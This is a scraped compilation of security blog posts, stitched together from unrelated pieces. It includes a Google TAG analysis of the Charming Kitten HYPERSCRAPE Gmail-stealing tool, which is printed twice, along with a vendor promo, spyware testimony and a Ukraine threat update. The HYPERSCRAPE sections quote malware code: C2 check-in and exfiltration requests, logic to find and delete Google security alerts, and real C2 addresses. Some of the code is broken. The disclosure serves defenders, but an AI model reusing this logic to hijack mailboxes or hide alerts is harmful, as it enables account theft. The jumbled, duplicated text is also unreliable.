The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.


A new form is displayed if the information is not provided via command prompt.


Once provided, the data in the "Identity" field is sent to a C2 for confirmation.


Again, the response is expected to be "OK".


GET http://{C2}/Index.php?vubc={identity} HTTP/1.1


Host: {C2} Accept-Encoding: gzip


If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.


After parsing, the cookies are inserted into a local cache used by the embedded web browser.


A new folder named "Download" is created adjacent to the main binary.


The browser then navigates to Gmail to begin the data collection.


The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.


If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.


Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.


The language is returned to its original setting when the run is finished.


HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.


It does the following for each email found: The emails are saved with ".eml" extensions under the Downloads directory with the filename corresponding to the subject.


A log file is written containing a count of the emails that were downloaded.


When finished, a HTTP POST request is made to the C2 to relay the status and system information.


The downloaded emails are not sent to the C2.


POST http://{C2}/?Key={GUID}&Crc={Identifier} { "appName": "Gmail Downloader", "targetname": "{Email}", "HostName": "REDACTED", "srcUserIP": "REDACTED", "actionType": "First", "timeOccurrence": "05/01/2022 05:50:31 PM", "OS": "REDACTED", "OSVersion": "REDACTED", "SystemModel": "REDACTED", "SystemType": "REDACTED", "srcName": "REDACTED", "srcOrgName": "REDACTED" }


The program will delete any security emails from Google generated by the attacker’s activity.


private bool IsThereAnyEMail() { List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.Document.GetElementsByTagName("span") where x.TextContent.StartsWith ("Security alert") || x.TextContent.StartsWith("Archive of Google data requested") || x.TextContent.StartsWith("Your Google data archive is ready") || x.TextContent.StartsWith("Your Google data is ready") || x.TextContent.StartsWith("Critical security alert") ||


x.TextContent.StartsWith("Access for less secure apps has been turned on") ||


x.TextContent.StartsWith("Review blocked sign-in attempt") || x.TextContent.


StartsWith("Help us protect you: Security advice from Google")


x.TextContent.StartsWith("Access for less secure apps has been turned on") select x).ToList


GeckoHtmlElement > (


; bool flag = list.Count == 0; return !flag; }


Data from Google Takeout is also available upon request, but the option was only found in early builds.


The functionality was not automated and it's unclear why it was removed in later versions.


When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.


When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.


public void ManageTakeOut() { string text = "PipeName";


Process process = new Process(); process.StartInfo.Arguments = string.Format("PIPE Google \"{0}\"", text); process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName; process.Start();


PipeCommunication pipeCommunication = new PipeCommunication(true, text); bool flag = false; while (!flag)


{ try { JsonInfo jsonInfo = pipeCommunication.Read(); switch (jsonInfo.Type) { case JsonType.GetCookies: jsonInfo.Data = this.CookieText; pipeCommunication.Write(jsonInfo); break; case JsonType.TakeOutFile: flag = true; break; case JsonType.GetUsername: while (this.OperationObject.GetUsername() == null) { Thread.Sleep(1000); }


jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }


catch (Exception) { bool hasExited = process.HasExited; if (hasExited) { flag = true; } }


pipeCommunication.Close(); }


TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.


It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.


We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.


We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.


In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.


C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries


03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa Microsoft Live DLL 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 PDB E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.


It was last updated on July 29, 2022.


Trend Micro Vision One™ is at the core of our unified cybersecurity platform, delivering powerful, industry-leading extended detection and response (XDR), centralized visibility and risk insights.


Vision One integrates with Palo Alto Networks Cortex™ XSOAR to drive automated response to incidents uncovered by Vision One.


This simplifies investigations and response for SOC analysts, enabling them to easily execute necessary steps all from within Cortex™ XSOAR via commands and playbooks.


At the core of this integration is the creation of Cortex™ XSOAR incidents from Trend Micro Vision One™ workbench alerts.


Having the incident details available in the Cortex™ XSOAR platform enables analysts to execute a series of manual or automated actions through the Trend Micro Vision One™ platform in response to a potential threat.


In the initial release of this content pack, we have made the following response actions available:  Add item to exception list Adds domains, IP addresses, URLs, or file hashes to the known good list


Remove item from the exception list Removes domains, IP address, URLs, or file hashes from the known good list


Add item to suspicious objects list Adds domains IP addresses, URLs, or file hashes to the suspicious object list and specifies the appropriate action to take if discovered (log or block)


Remove item from suspicious objects list Removes domains IP addresses, URLs, or file hashes from the suspicious object list


Collect files Collects the specified file from an endpoint during an investigation Submit a file for sandbox analysis Submits a file to the Trend Micro Vision One sandbox for automated analysis Retrieve sandbox analysis report Retrieves the analysis report, IOCs, or artifacts available after automated analysis Quarantine email message


Removes the specified email message from the user’s mailbox and places it in the mail quarantine


Delete email message Permanently deletes the specified email message from the user’s mailbox


Gather information on an endpoint Gathers information from the endpoint such as the current logged on user, operating system details, IP address, hostname, mac address


Terminate process Terminates the specified process if currently running on an endpoint Isolate endpoint Blocks all network activity on an endpoint while the system is being investigated


Restore endpoint connection Restores the network connectivity on an endpoint after investigation and/or remediation has occurred


Check action status Checks the status of a triggered Trend Micro Vision One response action  These actions lend the power of Trend Micro Vision One™ to analysts as they investigate and respond to incidents.


All of these actions can be run manually or can be included in the organization’s pre-defined playbooks for automated response.


To demonstrate the value of these integrated platforms, let us walk through a use case where the combination of Trend Micro Vision One™ and Palo Alto Networks Cortex™ XSOAR improved a customer’s ability to investigate and respond to incidents.


Scenario: If credential dumping was detected on a host, the security operations team wanted to automate the collection of artifacts to be used during a subsequent investigation.


Threat actors are very efficient at cleaning up their tracks to evade tracing, so this activity would need to be executed quickly.


Trend Micro Vision One™ is very effective at identifying the various techniques threat actors use to discover credentials.


One commonly used technique that gets detected is the dumping of credentials via the Local Security Authority Server Service (LSASS) process in Microsoft Windows.


As you can see in this example, it was observed that Windows Task Manager was used to dump the LSASS process to a file.


This file can then be analyzed by a threat actor to look for password hashes they can use as part of their attack.


Security analysts may also want to examine the content of a credential dump to identify the account information the threat actor may have had access to.


Trend Micro Vision One’s contextual response actions could be used to retrieve this information from the endpoint when reviewing an incident.


However, since threat actors tend to cover their tracks quickly, by the time the security analyst is reviewing the incident, there is a chance that critical information may have been permanently deleted and is no longer readily accessible.          Instead of depending on a security analyst to review a credential dumping event and manually collecting artifacts for their investigation, Trend Micro wanted to automate the collection of this evidence as quickly as possible when a detection occurs.


This allows for information to be gathered prior to it being exfiltrated and destroyed.


To automate the retrieval of the dumped credentials, we leveraged the powerful integration between Trend Micro Vision One™ and Cortex™ XSOAR to create a playbook for this task.


The first step in our playbook is to check if the event is related to credential dumping.


If not, there is no point in collecting any files from the endpoint, so we jump to the end.


We then use the “trendmicro-visionone-get-endpoint-info” integration command to gather information about the endpoint(s) where the detection occurred that will be used as inputs for commands that will run later.


This would include things like the operating system and which Trend Micro product is deployed on the endpoint.


After we have gathered the information, the next step is to collect the file from the endpoint using the command “trendmicro-visionone-collect-forensic-file”.


Outputs from the “trendmicro-visionone-get-endpoint-info” command will be passed to this command along with details from the incident about the files where the credentials were dumped.


We now need to wait for the complete collection of the file(s) so we will run the “trendmicro-visionone-check-status” command to continuously poll for the status of the file collection and wait until it is complete before moving on to the next step.


After the file has been collected, it is stored in the Trend Micro Vision One™ platform.


We need to request that a download link be generated for the collected files with the “trendmicro-visionone-download-information-for-collected-forensic-file”.


These download links are intended to be used quickly, or in automation tasks, and therefore have very short lifetimes.


Once we have the download link, we can then use the Cortex™ XSOAR built-in command “http” to retrieve the file and save it to the War Room for this incident so that it can be downloaded and analyzed.          This is just one example use case that we have seen implemented to automate security operations by leveraging the integration between Trend Micro Vision One™ and Palo Alto Networks Cortex™ XSOAR.


We look forward to seeing how many additional ways these integrated platforms can help organizations improve their security operations.


Why not take Trend Micro Vision One™ for a test drive to see how it can help you see more and respond faster to the threats your organization faces?


Copyright © 2022.


Trend Micro Incorporated.


All rights reserved.


Trend Micro and the t-ball logo are registered trademarks of Trend Micro Incorporated.


Cortex XSOAR is a trademark of Palo Alto Networks.


Tags  Latest News | Exploits & Vulnerabilities | Cyber Threats | APT & Targeted Attacks | Endpoints | Network | Articles, News, Reports


As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.


For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.


Now, we’re shining light on a new tool of theirs.


In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.


The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.


We have seen it deployed against fewer than two dozen accounts located in Iran.


The oldest known sample is from 2020, and the tool is still under active development.


We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.


This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.


HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.


Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.


HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.


It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.


Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.


After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.


Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.


The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.


We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo! and Microsoft accounts.


HYPERSCRAPE won't run unless in a directory with other file dependencies.


When launched, the tool makes an HTTP GET request to a C2 to check for a response body of "OK'' and will terminate if it's not found.


In the version tested, the C2 was unobfuscated and stored as a hardcoded string.


In later versions it was obfuscated with Base64.


GET http://{C2}/Index.php?Ck=OK HTTP/1.1


Host: {C2}


Accept-Encoding: gzip Connection: Keep-Alive


The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.


A new form is displayed if the information is not provided via command prompt.


Once provided, the data in the "Identity" field is sent to a C2 for confirmation.


Again, the response is expected to be "OK".


GET http://{C2}/Index.php?vubc={identity} HTTP/1.1


Host: {C2} Accept-Encoding: gzip


If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.


After parsing, the cookies are inserted into a local cache used by the embedded web browser.


A new folder named "Download" is created adjacent to the main binary.


The browser then navigates to Gmail to begin the data collection.


The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.


If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.


Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.


The language is returned to its original setting when the run is finished.


HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.


It does the following for each email found: The emails are saved with ".eml" extensions under the Downloads directory with the filename corresponding to the subject.


A log file is written containing a count of the emails that were downloaded.


When finished, a HTTP POST request is made to the C2 to relay the status and system information.


The downloaded emails are not sent to the C2.


POST http://{C2}/?Key={GUID}&Crc={Identifier} { "appName": "Gmail Downloader", "targetname": "{Email}", "HostName": "REDACTED", "srcUserIP": "REDACTED", "actionType": "First", "timeOccurrence": "05/01/2022 05:50:31 PM", "OS": "REDACTED", "OSVersion": "REDACTED", "SystemModel": "REDACTED", "SystemType": "REDACTED", "srcName": "REDACTED", "srcOrgName": "REDACTED" }


The program will delete any security emails from Google generated by the attacker’s activity.


private bool IsThereAnyEMail() { List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.Document.GetElementsByTagName("span") where x.TextContent.StartsWith ("Security alert") || x.TextContent.StartsWith("Archive of Google data requested") || x.TextContent.StartsWith("Your Google data archive is ready") || x.TextContent.StartsWith("Your Google data is ready") || x.TextContent.StartsWith("Critical security alert") ||


x.TextContent.StartsWith("Access for less secure apps has been turned on") ||


x.TextContent.StartsWith("Review blocked sign-in attempt") || x.TextContent.


StartsWith("Help us protect you: Security advice from Google")


x.TextContent.StartsWith("Access for less secure apps has been turned on") select x).ToList


GeckoHtmlElement > (


; bool flag = list.Count == 0; return !flag; }


Data from Google Takeout is also available upon request, but the option was only found in early builds.


The functionality was not automated and it's unclear why it was removed in later versions.


When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.


When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.


public void ManageTakeOut() { string text = "PipeName";


Process process = new Process(); process.StartInfo.Arguments = string.Format("PIPE Google \"{0}\"", text); process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName; process.Start();


PipeCommunication pipeCommunication = new PipeCommunication(true, text); bool flag = false; while (!flag)


{ try { JsonInfo jsonInfo = pipeCommunication.Read(); switch (jsonInfo.Type) { case JsonType.GetCookies: jsonInfo.Data = this.CookieText; pipeCommunication.Write(jsonInfo); break; case JsonType.TakeOutFile: flag = true; break; case JsonType.GetUsername: while (this.OperationObject.GetUsername() == null) { Thread.Sleep(1000); }


jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }


catch (Exception) { bool hasExited = process.HasExited; if (hasExited) { flag = true; } }


pipeCommunication.Close(); }


TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.


It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.


We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.


We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.


In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.


C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries


03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa Microsoft Live DLL 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 PDB E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.


It was last updated on July 29, 2022.


The following testimony was delivered to the U.S. House Intelligence Committee by Shane Huntley, Senior Director of Google’s Threat Analysis Group (TAG) on July 27, 2022.  Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee: Thank you for the opportunity to appear before the Committee to discuss Google’s efforts to protect users from commercial spyware.


We appreciate the Committee’s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.


Google has been tracking the activities of commercial spyware vendors for years, and we have been taking critical steps to protect our users.


We take the security of our users very seriously, and we have dedicated teams in place to protect against attacks from a wide range of sources.


Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.


TAG actively monitors threat actors and the evolution of their tactics and techniques.


For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.


We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.


We also publicly release information about the operations we disrupt, which is available to our government partners and the general public.


TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware.


And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.


We are joined in this effort by many other security teams at Google, including Project Zero, our team of security researchers at Google who study zero-day vulnerabilities in the hardware and software systems that are depended upon by users around the world.


Google has a long track record combating commercial surveillance tools targeting our users.


In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware.


At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices.


We observed fewer than three dozen installs of this spyware.


We remediated the compromises for these users and implemented controls to protect all Android users.


NSO Group continues to pose risks across the Internet ecosystem.


In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for Android.


Google was able to identify the vulnerability in use and fix the exploit quickly.


In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.


iPhone users could be compromised by receiving a malicious iMessage text, without ever needing to click a malicious link.


Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.


Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.


Although this Committee must be concerned with the exploits of NSO Group, it is not the only entity posing risks to our users.


For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer.


We assessed that a surveillance vendor packaged and sold these technologies.


Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor.


Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.


Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users.


We assess with high confidence that commercial surveillance company Cytrox packaged these vulnerabilities, and sold the hacking software to at least eight governments.


Among other targets, this spyware was used to compromise journalists and opposition politicians.


Our reporting is consistent with earlier analysis produced by CitizenLab and Meta.


TAG also recently released information on a segment of attackers we call “hack-for-hire” that focuses on compromising accounts and exfiltrating data as a service.


In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.


They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.


In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.


The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats.


Where once we only needed substreams to focus on threat actors such as China, Russia, and North Korea, TAG now has a dedicated analysis subteam dedicated to commercial vendors and operators.


Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.


These vendors operate with deep technical expertise to develop and operationalize exploits.


We believe its use is growing, fueled by demand from governments.


Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors.


TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.


This industry appears to be thriving.


In fact, there was recently a large industry conference in Europe, sponsored by many of the commercial spyware vendors we track.


This trend should be concerning to the United States and all citizens.


These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.


While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.


We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.


Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.


The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.


In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.


While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.


This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.


The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.


This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.


Across all Google products, we incorporate industry-leading security features and protections to keep our users safe.


On Search, Google’s Safe Browsing is an industry-leading service to identify unsafe websites across the web and notify users and website owners of potential harm.


Google Safe Browsing helps protect over four billion devices every day by showing warnings to users when they attempt to navigate to unsafe sites or download harmful files.


Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.


On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.


Spoofers may send forged messages using an organization’s real name or domain to subvert authentication measures.


We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.


And we offer other advanced phishing and malware protection to administrators to better protect their users.


By default, Gmail displays warnings and moves untrustworthy emails to the user’s spam folder.


However administrators can also use advanced security settings to enhance their users’ protection against suspicious attachments and scripts from untrusted senders.


For Android, through its entire development lifecycle, we subject the products to a rigorous security program.


The Android security process begins early in the development lifecycle, and each major feature of the platform is reviewed by engineering and security resources.


We ensure appropriate controls are built into the architecture of the system.


During the development stage, Android-created and open source components are subject to vigorous security reviews


For users, Android provides safety and control over how apps and third parties can access the data from their devices.


For example, users are provided visibility into the permissions requested by each app, and they are able to control those permissions.


We have also built additional tools to prevent successful attacks on devices that run Android once those devices are in users’ hands.


For example, Google Play Protect, our built-in malware protection for Android, continuously scans devices for potentially harmful applications.


Although our security precautions are robust, security issues can still occur, which is why we created a comprehensive security response process to respond to incidents.


Google manages a vulnerability rewards program (VRP), rewarding researchers millions of dollars for their contributions in securing our devices and platforms.


We also provide research grants to security researchers to help fund and support the research community.


This is all part of a larger strategy to keep Google products and users, as well as the Internet at large more secure.


Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.


Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations – in other words, the users who are frequently targeted by surveillance tools.


Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.


We recently expanded eligibility to protect Ukraine government organizations, and we are currently protecting over 200 Ukraine websites today.


To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.


APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.


We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.


The first step is to understand the scope of the problem.


We appreciate the Committee’s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors.


The U.S. should also consider ways to foster greater transparency in the marketplace, including setting heightened transparency requirements for the domestic surveillance industry.


The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.


We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions.


Additionally, the U.S. government should consider a full ban on Federal procurement of commercial spyware technologies and contemplate imposing further sanctions to limit spyware vendors’ ability to operate in the U.S. and receive U.S. investment.


The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.


Finally, we urge the United States to lead a diplomatic effort to work with the governments of the countries who harbor problematic vendors, as well as those who employ these tools, to build support for measures that limit harms caused by this industry.


Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.


Google is investing heavily as a company and as an industry to counter serious threats to our users.


In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.


While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.


Google is committed to leading the industry in detecting and disrupting these threats.


I thank the Committee for this attention on this critical issue.


Google’s Threat Analysis Group (TAG) continues to closely monitor the cybersecurity environment in Eastern Europe with regard to the war in Ukraine.


Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.


TAG continues to disrupt campaigns from multiple sets of Russian government-backed attackers, some of which are detailed in our previous updates.


Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.


Most of these coordinated influence operations are Russian language efforts aimed at ensuring domestic support in Russia for the war.


Here is a deeper look at some campaign activity TAG has observed since our last update: Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment.


This is the first known instance of Turla distributing Android-related malware.


The apps were not distributed through the Google Play Store, but hosted on a domain controlled by the actor and disseminated via links on third party messaging services.


We believe there was no major impact on Android users and that the number of installs was miniscule.


The app is distributed under the guise of performing Denial of Service (DoS) attacks against a set of Russian websites.


However, the 'DoS' consists only of a single GET request to the target website, not enough to be effective.


The list of target websites for the app can be seen in the CyberChef recipe here.


During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites.


In this case, the Android app name was stopwar.apk (com.ddos.stopwar) and was distributed from the website stopwar.pro.


This app is quite different from the Turla apps described above and written by a different developer.


It also downloads a list of targets from an external site, but unlike the Turla apps, it continually sends requests to the target websites until it is stopped by the user.


Based on our analysis, we believe that the StopWar app was developed by pro-Ukrainian developers and was the inspiration for what Turla actors based their fake CyberAzov DoS app off of.


Indicators: The Follina vulnerability (CVE-2022-30190), first disclosed in late May, received significant usage from both APT and cybercrime groups throughout June after it was patched by Microsoft.


Follina is a remote code execution (RCE) vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT).


Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability.


The Sandworm campaign used compromised government accounts to send links to Microsoft Office documents hosted on compromised domains, primarily targeting media organizations in Ukraine.


TAG has also observed an increasing number of financially motivated actors targeting Ukraine.


One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine.


We assess this actor is a former initial ransomware access broker who previously worked with the Conti ransomware group distributing the IcedID banking trojan based on overlaps in infrastructure, tools used in previous campaigns, and a unique cryptor.


Ghostwriter/UNC1151, a threat actor attributed to Belarus, has remained active targeting accounts of webmail and social media networks of Polish users.


They continue to use the 'Browser in the Browser' phishing technique that TAG first observed and described in March.


An example of this technique, used to target Facebook users, can be seen in the screenshot below.


COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.


In addition to including phishing links directly in the email, the attackers also link to PDFs and/or DOCs, hosted on Google Drive and Microsoft One Drive, that contain a link to an attacker-controlled phishing domain.


In at least one case, unrelated to Ukraine, they have leaked information from a compromised account.


These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.


Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.


In just two days, the volume observed and categorized as spam by Gmail exceeded 4,500 emails.


Email contents vary from COVID-19 vaccine policy to the humanitarian crisis in Ukraine.


As part of TAG's mission to counter serious threats to Google and our users, we've published analysis on a range of persistent threats including government-backed attackers, commercial surveillance vendors, and serious criminal operators.


Today, we're sharing intelligence on a segment of attackers we call hack-for-hire, whose niche focuses on compromising accounts and exfiltrating data as a service.


In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.


They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.


Both, however, enable attacks by those who would otherwise lack the capabilities to do so.


We have seen hack-for-hire groups target human rights and political activists, journalists, and other high-risk users around the world, putting their privacy, safety and security at risk.


They also conduct corporate espionage, handily obscuring their clients’ role.


To help users and defenders, we will provide examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates and context around their capabilities and persistence mechanisms.


